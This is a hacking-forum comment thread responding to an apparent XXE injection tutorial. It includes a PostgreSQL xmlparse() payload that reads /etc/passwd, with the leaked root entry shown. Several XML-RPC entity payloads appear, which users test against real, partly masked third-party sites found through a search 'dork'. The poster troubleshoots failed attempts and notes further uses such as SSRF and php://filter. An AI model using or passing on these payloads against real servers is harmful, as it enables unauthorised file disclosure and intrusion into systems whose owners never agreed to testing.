[Wireless Network]

Thanks for share. Very useful tutorial.

[IDK]

Thanks for Sharing this HQ tut :D looking forward to learn something new

[IDK]

Thanks for Sharing this HQ tut :D looking forward to learn something new
oops my slow net double posted the same shit ;_; and i can't del it

[idontcock]

Thank you for this m8! Keep it going

[Hooded Robin]

i'll tell you more than that, you can actually get xxe from postgresql injection.
i wanted to write about expect://, directory listing (file:///dir), and jar://, but couldnt find any vuln site to demonstrate on.

Ah yes, I forgot about jar://! Care to PM me some more details on the pgsql aspect? I could try to code up a demo site if I can make sense of it later (I'm assuming there is a load_xml() type function to trigger this via the sql injection or something similar?)

[benzi]

Ah yes, I forgot about jar://! Care to PM me some more details on the pgsql aspect? I could try to code up a demo site if I can make sense of it later (I'm assuming there is a load_xml() type function to trigger this via the sql injection or something similar?)

well, in pgsql we have xml function named xmlparse().
when we use it, our code goes thru xml parse, and we get the output.
in pgsql injection, the payload would look like that-

Code

select xmlparse(document '<!DOCTYPE a [ <!ENTITY xxe SYSTEM "/etc/passwd">]><content>&xxe;</content>');

and we get pg error-
parser error : StartTag: invalid element name exec 9<&0 <root:x:0:0:root
we can also use it for ssrf btw.
another function is xslt_process(), and the good thing about that function, its not limited by the output.
the problem is its not working on every version.
in pg 9.1 its turned off by default.

[The Collector]

http://speciaalxxxx.xxxx.nl/api/xmlrpc (not the real site)
tried on that one but i think its not vulnerable, im getting a faultcode 620 after injecting

<!DOCTYPE a [
<!ENTITY Test "test">
]>
<methodCall><methodName>&test;</methodName></methodCall>

or am i doing the wrong thing now

[benzi]

http://speciaalxxxx.xxxx.nl/api/xmlrpc (not the real site)
tried on that one but i think its not vulnerable, im getting a faultcode 620 after injecting

<!DOCTYPE a [
<!ENTITY Test "test">
]>
<methodCall><methodName>&test;</methodName></methodCall>

or am i doing the wrong thing now

xml is sensetive about uppercase and lowercase.
if you used &test; , you should use test in entity, and not Test.
however, not all the sites there are vuln, some of them are patched.

[The Collector]

found out that i did it wrong (indeed the "T"), and the site isnt vulnerable as far as i can see. keeps giving me 620

[flixi]

nice tutorial. but there arent many sites that are vulnerable.

[xXNepalmXx]

When I try to use the file:// function
I get: <string>Method "" does not exist</string>

Am i doing something wrong or the site is patched?

[benzi]

When I try to use the file:// function
I get: <string>Method "" does not exist</string>

Am i doing something wrong or the site is patched?

probably patched, not all the sites in this dork are vuln.

[wlangkulay]

Awesom tutorial OP. I never heard of this such before.

[asm-99]

HQ tut from HQ user... Just 1 question, we always use:
<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

for checking if it's vuln? with changing benz and tutorial?

[benzi]

HQ tut from HQ user... Just 1 question, we always use:
<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

for checking if it's vuln? with changing benz and tutorial?

thats one method of many.
if you get an error like-
'Method "benz" does not exist',
it means the server parsed the request, and its vuln.
if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".